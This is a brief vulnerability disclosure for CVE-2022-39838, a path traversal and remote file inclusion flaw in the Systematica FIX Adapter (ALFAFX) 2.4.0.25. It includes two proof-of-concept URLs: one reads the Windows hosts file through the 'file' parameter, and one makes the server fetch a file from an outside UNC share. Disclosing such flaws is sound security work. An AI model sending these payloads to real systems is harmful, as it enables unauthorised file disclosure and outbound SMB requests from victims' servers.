CVE-2022-39838 PoC — Systematic Alpha Management FIX Adapter 路径遍历漏洞

介绍

# CVE-2022-39838
## [Suggested description]
Systematica FIX Adapter (ALFAFX) 2.4.0.25 13/09/2017 allows remote file inclusion via
a UNC share pathname, and also allows absolute path traversal to local pathnames.

## [Additional Information]
PoC:

http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts

http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt


## [Vulnerability Type]
Incorrect Access Control


## [Vendor of Product]
Systematica


## [Affected Product Code Base]
Systematica FIX Adapter (ALFAFX) - 2.4.0.25 (Build 13/09/2017)


## [Attack Type]
Remote


## [Impact Information Disclosure]
true


## [Attack Vectors]
Remote user can get access to arbitrary file in the OS via absolute path.
Also remote user can compel vulnerable server to request file from another machine over smb.


## [Discoverer]
Ivashchenko Sergey (Jet Infosystems, jet.su)


## [Reference]
http://systematicalpha.com/company

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